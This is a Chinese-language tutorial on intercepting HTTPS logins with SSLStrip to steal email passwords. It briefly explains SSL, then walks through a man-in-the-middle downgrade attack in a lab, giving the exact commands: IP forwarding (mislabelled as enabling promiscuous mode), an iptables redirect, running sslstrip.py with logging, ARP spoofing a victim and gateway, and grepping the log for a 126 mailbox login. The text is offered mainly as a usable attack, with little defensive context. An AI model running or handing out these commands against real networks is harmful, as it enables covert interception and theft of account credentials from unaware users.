利用SSLStrip截获https协议--抓取邮箱等密码

1、SSL解析

SSL 是 Secure Socket Layer 的简称， 中文意思是安全套接字层，由 NetScape公司所开发，用以保障在 Internet 上数据传输的安全，确保数据在网络的传输过程中不会被截取和窃听。

SSL 协议提供的服务主要有：
　　（1）认证用户和服务器，确保数据发送到正确的客户和服务器。
　　（2）加密数据以防止数据中途被窃取。
　　（3）维护数据的完整性，确保数据在传输过程中不被改变。

2、SSLStrip

SSLStrip 的工作原理及步骤如下：
　　（1） 先进行中间人攻击来拦截 HTTP 流量。
　　（2） 将出现的 HTTPS 链接全部替换为 HTTP,同时记下所有改变的链接。
　　（3） 使用 HTTP 与受害者机器连接。
　　（4） 同时与合法的服务器建立 HTTPS。
　　（5） 受害者与合法服务器之间的全部通信经过了代理转发。

　　（6） 其中，出现的图标被替换成为用户熟悉的“小黄锁”图标，以建立信任。

　　（7） 这样，中间人攻击就成功骗取了密码、账号等信息，而受害者一无所知。

注：下载地址：http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

 

3、SSLStrip进行攻击

　　测试环境：攻击机(kali)+受害机(随意)

　　攻击者：

　　　　启动网卡混杂模式：echo "1">/proc/sys/net/ipv4/ip_forward

　　　　添加防火墙规则：iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 9527

　　　　　　-t：制定命令要操作的匹配包的表

　　　　　　-A：在选择的链末添加规则

　　　　　　-p：制定协议

　　　　　　--dport：制定端口

　　　　　　-j：目标跳转

　　　　开启SSLStrip：python sslstrip.py -a -l 9527 -w sslstrip.log

　　　　　　-a：记录所有来自服务器的ssl和Http数据流量内容；

　　　　　　-l：监听端口

　　　　　　-w：保存文件

　　　　开启arp欺骗：arpspoof -i eth0 -t 192.168.133.130(受害机) 192.168.133.2(网关)

　　受害机登陆126邮箱

　　攻击者查看日志：cat sslstrip.log | grep "邮箱名"

据说打了码可以去掉，这里就不上图了~~~~